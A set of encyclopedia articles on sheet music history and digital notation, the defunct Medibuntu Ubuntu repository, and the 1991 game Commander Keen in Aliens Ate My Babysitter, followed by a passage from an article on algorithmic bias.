The late-19th century saw a massive explosion of parlor music, with ownership of, and skill at playing the piano becoming de rigueur for the middle-class family. In the late-19th century, if a middle-class family wanted to hear a popular new song or piece, they would buy the sheet music and then perform the song or piece in an amateur fashion in their home. But in the early 20th century the phonograph and recorded music grew greatly in importance. This, joined by the growth in popularity of radio broadcasting from the 1920s on, lessened the importance of the sheet music publishers. The record industry eventually replaced the sheet music publishers as the music industry's largest force.
20th century and early 21st century
In the late 20th and into the 21st century, significant interest has developed in representing sheet music in a computer-readable format (see music notation software), as well as downloadable files. Music OCR, software to "read" scanned sheet music so that the results can be manipulated, has been available since 1991.
In 1998, virtual sheet music evolved further into what was to be termed digital sheet music, which for the first time allowed publishers to make copyright sheet music available for purchase online. Unlike their hard copy counterparts, these files allowed for manipulation such as instrument changes, transposition and MIDI (Musical Instrument Digital Interface) playback. The popularity of this instant delivery system among musicians appears to be acting as a catalyst of new growth for the industry well into the foreseeable future.
An early computer notation program available for home computers was Music Construction Set, developed in 1984 and released for several different platforms. Introducing concepts largely unknown to the home user of the time, it allowed manipulation of notes and symbols with a pointing device such as a mouse; the user would "grab" a note or symbol from a palette and "drop" it onto the staff in the correct location. The program allowed playback of the produced music through various early sound cards, and could print the musical score on a graphics printer.
Many software products for modern digital audio workstation and scorewriters for general personal computers support generation of sheet music from MIDI files, by a performer playing the notes on a MIDI-equipped keyboard or other MIDI controller or by manual entry using a mouse or other computer device.
By 1999, a system and method for coordinating music display among players in an orchestra was patented by Harry Connick Jr. It is a device with a computer screen which is used to show the sheet music for the musicians in an orchestra instead of the more commonly used paper. Connick uses this system when touring with his big band, for instance. With the proliferation of wireless networks and iPads similar systems have been developed. In the classical music world, some string quartet groups use computer screen-based parts. There are several advantages to computer-based parts. Since the score is on a computer screen, the user can adjust the contrast, brightness and even the size of the notes, to make reading easier. In addition, some systems will do "page turns" using a foot pedal, which means that the performer does not have to miss playing music during a page turn, as often occurs with paper parts.
Of special practical interest for the general public is the Mutopia project, an effort to create a library of public domain sheet music, comparable to Project Gutenberg's library of public domain books. The International Music Score Library Project (IMSLP) is also attempting to create a virtual library containing all public domain musical scores, as well as scores from composers who are willing to share their music with the world free of charge.
Some scorewriter computer programs have a feature that is very useful for composers and arrangers: the ability to "play back" the notated music using synthesizer sounds or virtual instruments. Due to the high cost of hiring a full symphony orchestra to play a new composition, before the development of these computer programs, many composers and arrangers were only able to hear their orchestral works by arranging them for piano, organ or string quartet. While a scorewiter program's playback will not contain the nuances of a professional orchestra recording, it still conveys a sense of the tone colors created by the piece and of the interplay of the different parts.
See also
Choirbook, used for choral music during the Middle Ages and Renaissance
Eye movement in music reading
List of Online Digital Musical Document Libraries
Manuscript paper
Musical notation
Partbook, contains one part, common during the Renaissance and Baroque
Music stand, a device that holds sheet music in position
Scorewriter – music notation software
Shorthand for orchestra instrumentation
References
External links
Archives of scanned works
IMSLP – Public domain sheet music library of PDF files, International Music Score Library Project
Music for the Nation – American sheet music archive, Library of Congress
Historic American Sheet Music – Duke University Libraries Digital Collections, more than 3000 pieces of sheet music published in the United States between 1850 and 1920.
Lester S. Levy Sheet Music Collection – sheet music project of The Sheridan Libraries of Johns Hopkins University.
Pacific Northwest Sheet Music Collection, University of Washington Libraries
IN Harmony: Sheet Music from Indiana, sheet music from the Indiana University Lilly Library, the Indiana State Library, the Indiana State Museum, and the Indiana Historical Society.
Choral Public Domain Library (ChoralWiki) – free sheet music archive with emphasis on choral music; contains works in PDF and also other formats.
Mutopia project – free sheet music archive in which all pieces have been newly typeset with GNU LilyPond as PDF and PostScript.
Project Gutenberg – sheet music section of Project Gutenberg containing works in Finale or MusicXML format.
Musical notation
Music technology
Music software
Printing
Music history
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9612849
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https://en.wikipedia.org/wiki/Medibuntu
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Medibuntu
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Medibuntu (Multimedia, Entertainment & Distractions In Ubuntu) was a community-maintained repository of Debian packages that could not be included in the Ubuntu distribution for legal reasons.
Reasons for non-inclusion include copyright, license or patent restrictions, or geographical variations in legislation, such as:
patentability of software, algorithms, formats and other abstract creation
legal restrictions on freedom of speech or communication
restrictions on the use of certain types of technology, such as cryptography
legal restrictions on imports of software technology, requiring for example specific permissions
offense which packages may cause to users that would make them unsuitable for Ubuntu's universe repository
Much free software and non-free software is affected by such restrictions somewhere in the world, thus preventing its inclusion into Ubuntu. Medibuntu packaged and distributed such software. Downloading, using, distributing or otherwise dealing with software from Medibuntu was possibly illegal depending on the user's jurisdiction/region. Examples of software in Medibuntu were Acrobat Reader, non-free codecs, Google Earth, and RealPlayer.
Current status
As of October 2013, the Medibuntu Project has come to an end. The Medibuntu repository is unmaintained and offline.
See also
GetDeb
Penguin Liberation Front (Mandriva equivalent)
RPM Fusion (Fedora/RedHat equivalent)
References
Linux package management-related software
Ubuntu
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50831326
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https://en.wikipedia.org/wiki/Commander%20Keen%20in%20Aliens%20Ate%20My%20Babysitter
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Commander Keen in Aliens Ate My Babysitter
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Commander Keen in Aliens Ate My Babysitter (stylized as Aliens Ate My Babysitter!) is a side-scrolling platform video game developed by id Software and published by FormGen in December 1991 for DOS. It is the seventh episode of the Commander Keen series, though it is numbered as the sixth, as Commander Keen in Keen Dreams is outside of the main continuity. The game follows the titular Commander Keen, an eight-year-old child genius, as he journeys through an alien world to rescue his kidnapped babysitter. The game feature Keen running, jumping, and shooting through various levels while opposed by aliens, robots, and other hazards.
After the success of the three-episode Commander Keen in Invasion of the Vorticons, the developers of the game, including programmers John Carmack and John Romero, designer Tom Hall, and artist Adrian Carmack, left their jobs at Softdisk to found id Software. After making a prototype game in Dreams to develop new ideas such as gameplay changes, graphical enhancements like parallax scrolling, and artistic improvements, the team worked on making a sequel trilogy of episodes from June to December 1991. During development, the last episode was split off to be released as a stand-alone game due to a deal made by id's new president, Mark Rein, with the remaining two episodes produced as a pair titled Commander Keen in Goodbye, Galaxy instead. Aliens, despite being released as the sixth main episode in the series, was developed before the fifth. It did not sell as well as the first trilogy, which was attributed by id to poor marketing and its awkward status as a stand-alone retail game in a series known for groups of shareware episodes. Although another Keen game was planned, during development id Software began work on Wolfenstein 3D, and its success, along with the development of Doom, led id to not develop any further Keen games.
Gameplay
Commander Keen in Aliens Ate My Babysitter is a side-scrolling platform video game: the majority of the game features the player-controlled Commander Keen viewed from the side while moving on a two-dimensional plane. The player can move left and right and can jump, and can use a pogo stick to bounce continuously and jump higher than they can normally with the correct timing. The levels are composed of platforms on which Keen can stand, viewed from slightly above. Some platforms allow Keen to jump up through them from below, while others feature fireman's poles that Keen can climb up or down. Keen can also grab onto the edge of platforms and pull himself up. There are giant switches which must be jumped up into or dropped onto to flip which have effects on the gameworld, such as retracting and extending gates or initiate moving platforms. Once entered, the only way to exit a level is to reach the end, though the player can save their game at any point. Between levels, the player travels on a two-dimensional map, viewed from above; from the map the player can enter levels by approaching the entrance or save their progress in the game. Some levels are optional to enter and may be bypassed, while portions of the map are gated off until specific levels are completed.
The game contains a variety of enemies in the levels, which the player must stun or avoid; these are primarily different alien creatures. Levels can also include hazards, such as dart traps or fire; touching a hazard or most enemies causes Keen to lose a life, and the game is ended if all of Keen's lives are lost. Aliens has three difficulty settings, which change the number and types of enemies present. It features a stun gun that knocks out most enemies permanently using ammo found throughout the game. Different enemies take differing numbers of shots to knock out, or, in some cases, are immune. The player can also find food items throughout the levels which grant points, with an extra life awarded with enough points. There are also small fly-like creatures which award an extra life for every 100 collected, colored keycard gems which grant access to locked parts of levels, and items which instantly grant an extra life.
Plot
Despite being the sixth episode in the series, Aliens is not clearly stated to take place after the events of the pair of episodes in Galaxy. In the game's introduction, eight-year-old child genius Billy Blaze is working on his wrist computer in his backyard clubhouse when his babysitter, Molly McMire, calls him in for dinner. Upon hearing a loud noise he rushes out, only to discover her missing and a note burnt into the grass stating that the Bloogs of Fribbulus Xax have taken Molly and plan to eat her; donning his helmet as Commander Keen, Billy rushes off to save her before his parents get home. During the game, Keen journeys through the various outposts, factories, and installations of the alien Bloogs on the planet of Fribbulus Xax as well as a space station above it.
After Keen finds Molly tied up at the back of the Bloog Control Center on the space station, she explains to him that she was kidnapped on the orders of her younger brother, who Keen knows to be his nemesis Mortimer McMire. Mortimer convinced the Bloogs to kidnap her by offering them the Stupendous Sandwich of Chungella IV. Keen is surprised, as he thought Mortimer was dead (he was apparently killed at the end of the Vorticon trilogy), and is dismayed to find out that Mortimer plans to blow up the entire universe. This conclusion is also revealed in an encoded note at the end of the Galaxy. The game ends by asking the player to play the next installment, where Keen would again fight Mortimer.
Development
In October—December 1990, a team of employees from programming studio Softdisk, calling themselves Ideas from the Deep, developed the three-part video game Commander Keen in Invasion of the Vorticons. The group, who worked at Softdisk in Shreveport, Louisiana developing games for the Gamer's Edge video game subscription service and disk magazine, was composed of programmers John Romero and John Carmack, designer Tom Hall, artist Adrian Carmack, and manager Jay Wilbur. After the release of Vorticons in December, and the arrival of the first US$10,500 royalty check from shareware publisher Apogee Software, the team quit Softdisk and started their own company, id Software. As part of the settlement with Softdisk—made because the team had created the game on their work computers, both in the office after hours and by taking the computers to John Carmack's house on the weekends—they agreed to make a series of games for Softdisk's Gamer's Edge subscription service. As the team began to explore creating another set of Commander Keen games, they made a prototype game for Softdisk, Commander Keen in Keen Dreams, to fulfill their obligations while also helping improve the next full set of Keen games.
For Vorticons, John Carmack and Romero focused exclusively on the programming, while Adrian Carmack joined late in development and had a personal art style that did not match with the game. As a result, the game was largely shaped by designer Tom Hall's personal experiences and interests. Keen's red sneakers and Green Bay Packers football helmet were items Hall wore as a child, dead enemies left behind corpses due to his belief that child players should be taught that death had permanent consequences, and enemies were based loosely on his reading of Sigmund Freud's psychological theories, such as that of the id. The team reprised their roles for subsequent Keen games, with the addition of programmer Jason Blochowiak for Galaxy and Aliens, and changed the game engine and design for the next Keen games: an increase in graphical quality with parallax scrolling to make the background move at a different speed than the foreground, a pseudo-3D view rather than a side-on view, ramps rather than solely flat surfaces, support for sound cards, and changes to the design based on player feedback. The level maps were designed using a custom-made program called Tile Editor (TEd), which was first created for Dangerous Dave and was used for the entire Keen series as well as several other games.
For Vorticons, Carmack had created adaptive tile refresh to produce a scrolling effect on computers not powerful enough to redraw the entire screen when the player moved. For Galaxy and Aliens, he wanted to scroll the background at a different rate than the foreground, but again computers of the time were not powerful enough to do so smoothly. To implement parallax scrolling without having to manage all of the elements moving past each other, he came up with a plan to instead save combinations of overlapping foreground and background elements in memory and display the appropriate combination for where Keen was on the screen, so that the game only needed to pick the correct image rather than recalculate what that image would be. Hall, meanwhile, had received feedback from parents who did not like that the enemies in Vorticons left behind corpses instead of disappearing like in other games; he did not want the violence to have no effects, and so in Dreams replaced the raygun with pellets that temporarily stunned enemies. He was not satisfied with this change, and while considering ways to remove Keen's parents during the introduction for Galaxy, came up with a stun gun which would leave behind permanently stunned enemies, which appeared in all three episodes made in 1991. Additionally, music, which was missing in prior Keen games, was added to Aliens, composed by Robert Prince.
In June 1991, with Dreams completed, the id team began working on another trilogy of Commander Keen episodes. The game, episodes four though six, was intended to be published in the same manner as the first one: released through Apogee, with episode four released for free in order to spur interest in purchasing the other two episodes. By August they had completed a beta version of episode four, "Secret of the Oracle", and Romero sent it off to a fan he had met from Canada, Mark Rein, who had offered to play-test the game. Romero was impressed with the list of bugs that Rein sent back, as well as with his business sense, and proposed bringing him in to the company as a probationary president for six months in order to help expand their business. Within a few weeks of being hired, Rein made a deal to get id into the commercial market: to take the sixth episode and make it a stand-alone game, published as a retail title through FormGen instead of part of a shareware trilogy. They signed the deal, but Scott Miller of Apogee was dismayed; he felt that not having a full trilogy for the shareware game would hurt sales.
Also in August 1991, the team moved from Shreveport to Hall's hometown of Madison, Wisconsin, leaving behind Wilbur, who was unwilling to leave a stable job at Softdisk to fully join in with the startup, but picking up programmer Jason Blochowiak, who was working at the time at Softdisk and living at the same house as John Carmack and Wilbur. Once there, the team worked out of a three-bedroom apartment, with John Carmack living in one of the bedrooms. There, they worked on the two episodes of Galaxy, their remaining Softdisk games, and the sixth episode, Aliens, between August and December. As it grew colder, they increasingly spent all of their time in the apartment, making the games, and designing a game that would later become Wolfenstein 3D. As Aliens had a different publisher and schedule than Galaxy, it was released as the sixth episode of the series but was actually developed prior to the fifth, "The Armageddon Machine".
Reception and legacy
Aliens did not sell as well as hoped for by id, which the team partially blamed on what they felt was terrible box art produced by a company that had previously designed packaging for Lipton tea. According to John Carmack, the CGA version of the game wasn't very popular. Despite this, the sales were strong enough that id agreed to use FormGen as the publisher for their next retail title, the "Spear of Destiny" episode of Wolfenstein 3D. A description of the shareware market in the first issue of PC Zone in 1993 noted that Aliens, as it was also sold through shareware distributors like Apogee, was one of the most popular games of 1993 in the shareware market. A short review in the same issue as part of a listing of shareware games that could be ordered through the magazine called Aliens the "special edition" of the series and "the best one yet". The game won the "Best Entertainment Program" and "Best Overall Program" categories at the 1992 Shareware Industry Awards. A review of the entire Commander Keen series in 1993 by Sandy Petersen in the first "Eye of the Monitor" column for Dragon described the series as action games with "hilarious graphics". Acknowledging its debt to Super Mario Bros., he called it, especially Galaxy and Aliens, "one of the best games of its type". He also praised that it was not "mindlessly hard", instead requiring some thought to play through, and especially noted the humor in the graphics and gameplay.
After Aliens, id Software did not produce any more games in the Commander Keen series besides the co-developed Galaxy. Another trilogy of episodes, titled The Universe Is Toast, was planned for December 1992, but was cancelled after the success of id's Wolfenstein 3D and development focus on Doom. A final Keen game, Commander Keen, was developed for the Game Boy Color in 2001 by David A. Palmer Productions in association with id Software, and published by Activision. Aliens was included with the other id-developed series games in the 1996 id Anthology compilation release, but as the game had not been published through Apogee, it was not included in the 1998 Apogee Commander Keen compilation release, or the 2014 3D Realms Anthology release.
References
Sources
1991 video games
Commander Keen
DOS games
Id Software games
Side-scrolling platform games
Video games developed in the United States
Video games scored by Bobby Prince
Windows games
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55817338
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https://en.wikipedia.org/wiki/Algorithmic%20bias
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Algorithmic bias
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Algorithmic bias describes systematic and repeatable errors in a computer system that create unfair outcomes, such as privileging one arbitrary group of users over others. Bias can emerge from many factors, including but not limited to the design of the algorithm or the unintended or unanticipated use or decisions relating to the way data is coded, collected, selected or used to train the algorithm. For example, algorithmic bias has been observed in search engine results and social media platforms. This bias can have impacts ranging from inadvertent privacy violations to reinforcing social biases of race, gender, sexuality, and ethnicity. The study of algorithmic bias is most concerned with algorithms that reflect "systematic and unfair" discrimination. This bias has only recently been addressed in legal frameworks, such as the European Union's General Data Protection Regulation (2018) and the proposed Artificial Intelligence Act (2021).
As algorithms expand their ability to organize society, politics, institutions, and behavior, sociologists have become concerned with the ways in which unanticipated output and manipulation of data can impact the physical world. Because algorithms are often considered to be neutral and unbiased, they can inaccurately project greater authority than human expertise (in part due to the psychological phenomenon of automation bias), and in some cases, reliance on algorithms can displace human responsibility for their outcomes. Bias can enter into algorithmic systems as a result of pre-existing cultural, social, or institutional expectations; because of technical limitations of their design; or by being used in unanticipated contexts or by audiences who are not considered in the software's initial design.
Algorithmic bias has been cited in cases ranging from election outcomes to the spread of online hate speech. It has also arisen in criminal justice, healthcare, and hiring, compounding existing racial, socioeconomic, and gender biases. The relative inability of facial recognition technology to accurately identify darker-skinned faces has been linked to multiple wrongful arrests of black men, an issue stemming from imbalanced datasets. Problems in understanding, researching, and discovering algorithmic bias persist due to the proprietary nature of algorithms, which are typically treated as trade secrets. Even when full transparency is provided, the complexity of certain algorithms poses a barrier to understanding their functioning. Furthermore, algorithms may change, or respond to input or output in ways that cannot be anticipated or easily reproduced for analysis. In many cases, even within a single website or application, there is no single "algorithm" to examine, but a network of many interrelated programs and data inputs, even between users of the same service.
Definitions
Algorithms are difficult to define, but may be generally understood as lists of instructions that determine how programs read, collect, process, and analyze data to generate output. For a rigorous technical introduction, see Algorithms. Advances in computer hardware have led to an increased ability to process, store and transmit data. This has in turn boosted the design and adoption of technologies such as machine learning and artificial intelligence. By analyzing and processing data, algorithms are the backbone of search engines, social media websites, recommendation engines, online retail, online advertising, and more.
Contemporary social scientists are concerned with algorithmic processes embedded into hardware and software applications because of their political and social impact, and question the underlying assumptions of an algorithm's neutrality. The term algorithmic bias describes systematic and repeatable errors that create unfair outcomes, such as privileging one arbitrary group of users over others. For example, a credit score algorithm may deny a loan without being unfair, if it is consistently weighing relevant financial criteria. If the algorithm recommends loans to one group of users, but denies loans to another set of nearly identical users based on unrelated criteria, and if this behavior can be repeated across multiple occurrences, an algorithm can be described as biased. This bias may be intentional or unintentional (for example, it can come from biased data obtained from a worker that previously did the job the algorithm is going to do from now on).
Methods
Bias can be introduced to an algorithm in several ways. During the assemblage of a dataset, data may be collected, digitized, adapted, and entered into a database according to human-designed cataloging criteria. Next, programmers assign priorities, or hierarchies, for how a program assesses and sorts that data. This requires human decisions about how data is categorized, and which data is included or discarded. Some algorithms collect their own data based on human-selected criteria, which can also reflect the bias of human designers. Other algorithms may reinforce stereotypes and preferences as they process and display "relevant" data for human users, for example, by selecting information based on previous choices of a similar user or group of users.
Beyond assembling and processing data, bias can emerge as a result of design. For example, algorithms that determine the allocation of resources or scrutiny (such as determining school placements) may inadvertently discriminate against a category when determining risk based on similar users (as in credit scores). Meanwhile, recommendation engines that work by associating users with similar users, or that make use of inferred marketing traits, might rely on inaccurate associations that reflect broad ethnic, gender, socio-economic, or racial stereotypes. Another example comes from determining criteria for what is included and excluded from results. This criteria could present unanticipated outcomes for search results, such as with flight-recommendation software that omits flights that do not follow the sponsoring airline's flight paths. Algorithms may also display an uncertainty bias, offering more confident assessments when larger data sets are available. This can skew algorithmic processes toward results that more closely correspond with larger samples, which may disregard data from underrepresented populations.
History
Early critiques
The earliest computer programs were designed to mimic human reasoning and deductions, and were deemed to be functioning when they successfully and consistently reproduced that human logic. In his 1976 book Computer Power and Human Reason, artificial intelligence pioneer Joseph Weizenbaum suggested that bias could arise both from the data used in a program, but also from the way a program is coded.
Weizenbaum wrote that programs are a sequence of rules created by humans for a computer to follow. By following those rules consistently, such programs "embody law", that is, enforce a specific way to solve problems. The rules a computer follows are based on the assumptions of a computer programmer for how these problems might be solved. That means the code could incorporate the programmer's imagination of how the world works, including their biases and expectations. While a computer program can incorporate bias in this way, Weizenbaum also noted that any data fed to a machine additionally reflects "human decisionmaking processes" as data is being selected.
Finally, he noted that machines might also transfer good information with unintended consequences if users are unclear about how to interpret the results. Weizenbaum warned against trusting decisions made by computer programs that a user doesn't understand, comparing such faith to a tourist who can find his way to a hotel room exclusively by turning left or right on a coin toss. Crucially, the tourist has no basis of understanding how or why he arrived at his destination, and a successful arrival does not mean the process is accurate or reliable.
An early example of algorithmic bias resulted in as many as 60 women and ethnic minorities denied entry to St. George's Hospital Medical School per year from 1982 to 1986, based on implementation of a new computer-guidance assessment system that denied entry to women and men with "foreign-sounding names" based on historical trends in admissions. While many schools at the time employed similar biases in their selection process, St. George was most notable for automating said bias through the use of an algorithm, thus gaining the attention of people on a much wider scale.
In recent years, when more algorithms started to use machine learning methods on real world data, algorithmic bias can be found more often due to the bias existing in the data.
Contemporary critiques and responses
Though well-designed algorithms frequently determine outcomes that are equally (or more) equitable than the decisions of human beings, cases of bias still occur, and are difficult to predict and analyze. The complexity of analyzing algorithmic bias has grown alongside the complexity of programs and their design. Decisions made by one designer, or team of designers, may be obscured among the many pieces of code created for a single program; over time these decisions and their collective impact on the program's output may be forgotten. In theory, these biases may create new patterns of behavior, or "scripts", in relationship to specific technologies as the code interacts with other elements of society. Biases may also impact how society shapes itself around the data points that algorithms require. For example, if data shows a high number of arrests in a particular area, an algorithm may assign more police patrols to that area, which could lead to more arrests.
The decisions of algorithmic programs can be seen as more authoritative than the decisions of the human beings they are meant to assist, a process described by author Clay Shirky as "algorithmic authority". Shirky uses the term to describe "the decision to regard as authoritative an unmanaged process of extracting value from diverse, untrustworthy sources", such as search results. This neutrality can also be misrepresented by the language used by experts and the media when results are presented to the public. For example, a list of news items selected and presented as "trending" or "popular" may be created based on significantly wider criteria than just their popularity.
Because of their convenience and authority, algorithms are theorized as a means of delegating responsibility away from humans. This can have the effect of reducing alternative options, compromises, or flexibility. Sociologist Scott Lash has critiqued algorithms as a new form of "generative power", in that they are a virtual means of generating actual ends. Where previously human behavior generated data to be collected and studied, powerful algorithms increasingly could shape and define human behaviors.
Concerns over the impact of algorithms on society have led to the creation of working groups in organizations such as Google and Microsoft, which have co-created a working group named Fairness, Accountability,
and Transparency in Machine Learning. Ideas from Google have included community groups that patrol the outcomes of algorithms and vote to control or restrict outputs they deem to have negative consequences. In recent years, the study of the Fairness, Accountability,
and Transparency (FAT) of algorithms has emerged as its own interdisciplinary research area with an annual conference called FAccT. Critics have suggested that FAT initiatives cannot serve effectively as independent watchdogs when many are funded by corporations building the systems being studied.
Types
Pre-existing
Pre-existing bias in an algorithm is a consequence of underlying social and institutional ideologies. Such ideas may influence or create personal biases within individual designers or programmers. Such prejudices can be explicit and conscious, or implicit and unconscious. Poorly selected input data, or simply data from a biased source, will influence the outcomes created by machines. Encoding pre-existing bias into software can preserve social and institutional bias, and, without correction, could be replicated in all future uses of that algorithm.
An example of this form of bias is the British Nationality Act Program, designed to automate the evaluation of new British citizens after the 1981 British Nationality Act. The program accurately reflected the tenets of the law, which stated that "a man is the father of only his legitimate children, whereas a woman is the mother of all her children, legitimate or not." In its attempt to transfer a particular logic into an algorithmic process, the BNAP inscribed the logic of the British Nationality Act into its algorithm, which would perpetuate it even if the act was eventually repealed.
Technical
Technical bias emerges through limitations of a program, computational power, its design, or other constraint on the system. Such bias can also be a restraint of design, for example, a search engine that shows three results per screen can be understood to privilege the top three results slightly more than the next three, as in an airline price display. Another case is software that relies on randomness for fair distributions of results. If the random number generation mechanism is not truly random, it can introduce bias, for example, by skewing selections toward items at the end or beginning of a list.
A decontextualized algorithm uses unrelated information to sort results, for example, a flight-pricing algorithm that sorts results by alphabetical order would be biased in favor of American Airlines over United Airlines. The opposite may also apply, in which results are evaluated in contexts different from which they are collected. Data may be collected without crucial external context: for example, when facial recognition software is used by surveillance cameras, but evaluated by remote staff in another country or region, or evaluated by non-human algorithms with no awareness of what takes place beyond the camera's field of vision. This could create an incomplete understanding of a crime scene, for example, potentially mistaking bystanders for those who commit the crime.
Lastly, technical bias can be created by attempting to formalize decisions into concrete steps on the assumption that human behavior works in the same way. For example, software weighs data points to determine whether a defendant should accept a plea bargain, while ignoring the impact of emotion on a jury. Another unintended result of this form of bias was found in the plagiarism-detection software Turnitin, which compares student-written texts to information found online and returns a probability score that the student's work is copied. Because the software compares long strings of text, it is more likely to identify non-native speakers of English than native speakers, as the latter group might be better able to change individual words, break up strings of plagiarized text, or obscure copied passages through synonyms. Because it is easier for native speakers to evade detection as a result of the technical constraints of the software, this creates a scenario where Turnitin identifies foreign-speakers of English for plagiarism while allowing more native-speakers to evade detection.
Emergent
Emergent bias is the result of the use and reliance on algorithms across new or unanticipated contexts. Algorithms may not have been adjusted to consider new forms of knowledge, such as new drugs or medical breakthroughs, new laws, business models, or shifting cultural norms. This may exclude groups through technology, without providing clear outlines to understand who is responsible for their exclusion. Similarly, problems may emerge when training data (the samples "fed" to a machine, by which it models certain conclusions) do not align with contexts that an algorithm encounters in the real world.
In 1990, an example of emergent bias was identified in the software used to place US medical students into residencies, the National Residency Match Program (NRMP). The algorithm was designed at a time when few married couples would seek residencies together. As more women entered medical schools, more students were likely to request a residency alongside their partners. The process called for each applicant to provide a list of preferences for placement across the US, which was then sorted and assigned when a hospital and an applicant both agreed to a match. In the case of married couples where both sought residencies, the algorithm weighed the location choices of the higher-rated partner first. The result was a frequent assignment of highly preferred schools to the first partner and lower-preferred schools to the second partner, rather than sorting for compromises in placement preference.
Additional emergent biases include:
Correlations
Unpredictable correlations can emerge when large data sets are compared to each other. For example, data collected about web-browsing patterns may align with signals marking sensitive data (such as race or sexual orientation). By selecting according to certain behavior or browsing patterns, the end effect would be almost identical to discrimination through the use of direct race or sexual orientation data. In other cases, the algorithm draws conclusions from correlations, without being able to understand those correlations. For example, one triage program gave lower priority to asthmatics who had pneumonia than asthmatics who did not have pneumonia. The program algorithm did this because it simply compared survival rates: asthmatics with pneumonia are at the highest risk. Historically, for this same reason, hospitals typically give such asthmatics the best and most immediate care.
Unanticipated uses
Emergent bias can occur when an algorithm is used by unanticipated audiences. For example, machines may require that users can read, write, or understand numbers, or relate to an interface using metaphors that they do not understand. These exclusions can become compounded, as biased or exclusionary technology is more deeply integrated into society.
Apart from exclusion, unanticipated uses may emerge from the end user relying on the software rather than their own knowledge. In one example, an unanticipated user group led to algorithmic bias in the UK, when the British National Act Program was created as a proof-of-concept by computer scientists and immigration lawyers to evaluate suitability for British citizenship. The designers had access to legal expertise beyond the end users in immigration offices, whose understanding of both software and immigration law would likely have been unsophisticated. The agents administering the questions relied entirely on the software, which excluded alternative pathways to citizenship, and used the software even after new case laws and legal interpretations led the algorithm to become outdated. As a result of designing an algorithm for users assumed to be legally savvy on immigration law, the software's algorithm indirectly led to bias in favor of applicants who fit a very narrow set of legal criteria set by the algorithm, rather than by the more broader criteria of British immigration law.
Feedback loops
Emergent bias may also create a feedback loop, or recursion, if data collected for an algorithm results in real-world responses which are fed back into the algorithm. For example, simulations of the predictive policing software (PredPol), deployed in Oakland, California, suggested an increased police presence in black neighborhoods based on crime data reported by the public. The simulation showed that the public reported crime based on the sight of police cars, regardless of what police were doing. The simulation interpreted police car sightings in modeling its predictions of crime, and would in turn assign an even larger increase of police presence within those neighborhoods. The Human Rights Data Analysis Group, which conducted the simulation, warned that in places where racial discrimination is a factor in arrests, such feedback loops could reinforce and perpetuate racial discrimination in policing. Another well known example of such an algorithm exhibiting such behavior is COMPAS, a software that determines an individual's likelihood of becoming a criminal offender. The software is often criticized for labeling Black individuals as criminals much more likely than others, and then feeds the data back into itself in the event indivuals become registered criminals, further enforcing the bias created by the dataset the algorithm is acting on.
Recommender systems such as those used to recommend online videos or news articles can create feedback loops. When users click on content that is suggested by algorithms, it influences the next set of suggestions. Over time this may lead to users entering a Filter Bubble and being unaware of important or useful content.
Impact
Commercial influences
Corporate algorithms could be skewed to invisibly favor financial arrangements or agreements between companies, without the knowledge of a user who may mistake the algorithm as being impartial. For example, American Airlines created a flight-finding algorithm in the 1980s. The software presented a range of flights from various airlines to customers, but weighed factors that boosted its own flights, regardless of price or convenience. In testimony to the United States Congress, the president of the airline stated outright that the system was created with the intention of gaining competitive advantage through preferential treatment.
In a 1998 paper describing Google, the founders of the company had adopted a policy of transparency in search results regarding paid placement, arguing that "advertising-funded search engines will be inherently biased towards the advertisers and away from the needs of the consumers." This bias would be an "invisible" manipulation of the user.
Voting behavior
A series of studies about undecided voters in the US and in India found that search engine results were able to shift voting outcomes by about 20%. The researchers concluded that candidates have "no means of competing" if an algorithm, with or without intent, boosted page listings for a rival candidate. Facebook users who saw messages related to voting were more likely to vote. A 2010 randomized trial of Facebook users showed a 20% increase (340,000 votes) among users who saw messages encouraging voting, as well as images of their friends who had voted. Legal scholar Jonathan Zittrain has warned that this could create a "digital gerrymandering" effect in elections, "the selective presentation of information by an intermediary to meet its agenda, rather than to serve its users", if intentionally manipulated.
Gender discrimination
In 2016, the professional networking site LinkedIn was discovered to recommend male variations of women's names in response to search queries. The site did not make similar recommendations in searches for male names. For example, "Andrea" would bring up a prompt asking if users meant "Andrew", but queries for "Andrew" did not ask if users meant to find "Andrea". The company said this was the result of an analysis of users' interactions with the site.
In 2012, the department store franchise Target was cited for gathering data points to infer when women customers were pregnant, even if they had not announced it, and then sharing that information with marketing partners. Because the data had been predicted, rather than directly observed or reported, the company had no legal obligation to protect the privacy of those customers.
Web search algorithms have also been accused of bias. Google's results may prioritize pornographic content in search terms related to sexuality, for example, "lesbian". This bias extends to the search engine showing popular but sexualized content in neutral searches. For example, "Top 25 Sexiest Women Athletes" articles displayed as first-page results in searches for "women athletes". In 2017, Google adjusted these results along with others that surfaced hate groups, racist views, child abuse and pornography, and other upsetting and offensive content. Other examples include the display of higher-paying jobs to male applicants on job search websites. Researchers have also identified that machine translation exhibits a strong tendency towards male defaults. In particular, this is observed in fields linked to unbalanced gender distribution, including STEM occupations. In fact, current machine translation systems fail to reproduce the real world distribution of female workers.
In 2015, Amazon.com turned off an AI system it developed to screen job applications when they realized it was biased against women. The recruitment tool excluded applicants who attended all-women's colleges and resumes that included the word "women's". A similar problem emerged with music streaming services—In 2019, it was discovered that the recommender system algorithm used by Spotify was biased against women artists. Spotify's song recommendations suggested more male artists over women artists.
Racial and ethnic discrimination
Algorithms have been criticized as a method for obscuring racial prejudices in decision-making. Because of how certain races and ethnic groups were treated in the past, data can often contain hidden biases. For example, black people are likely to receive longer sentences than white people who committed the same crime. This could potentially mean that a system amplifies the original biases in the data.
In 2015, Google apologized when black users complained that an image-identification algorithm in its Photos application identified them as gorillas. In 2010, Nikon cameras were criticized when image-recognition algorithms consistently asked Asian users if they were blinking. Such examples are the product of bias in biometric data sets. Biometric data is drawn from aspects of the body, including racial features either observed or inferred, which can then be transferred into data points. Speech recognition technology can have different accuracies depending on the user's accent. This may be caused by the a lack of training data for speakers of that accent.
Biometric data about race may also be inferred, rather than observed. For example, a 2012 study showed that names commonly associated with blacks were more likely to yield search results implying arrest records, regardless of whether there is any police record of that individual's name. A 2015 study also found that Black and Asian people are assumed to have lesser functioning lungs due to racial and occupational exposure data not being incorporated into the prediction algorithm's model of lung function.
In 2019, a research study revealed that a healthcare algorithm sold by Optum favored white patients over sicker black patients. The algorithm predicts how much patients would cost the health-care system in the future. However, cost is not race-neutral, as black patients incurred about $1,800 less in medical costs per year than white patients with the same number of chronic conditions, which led to the algorithm scoring white patients as equally at risk of future health problems as black patients who suffered from significantly more diseases.
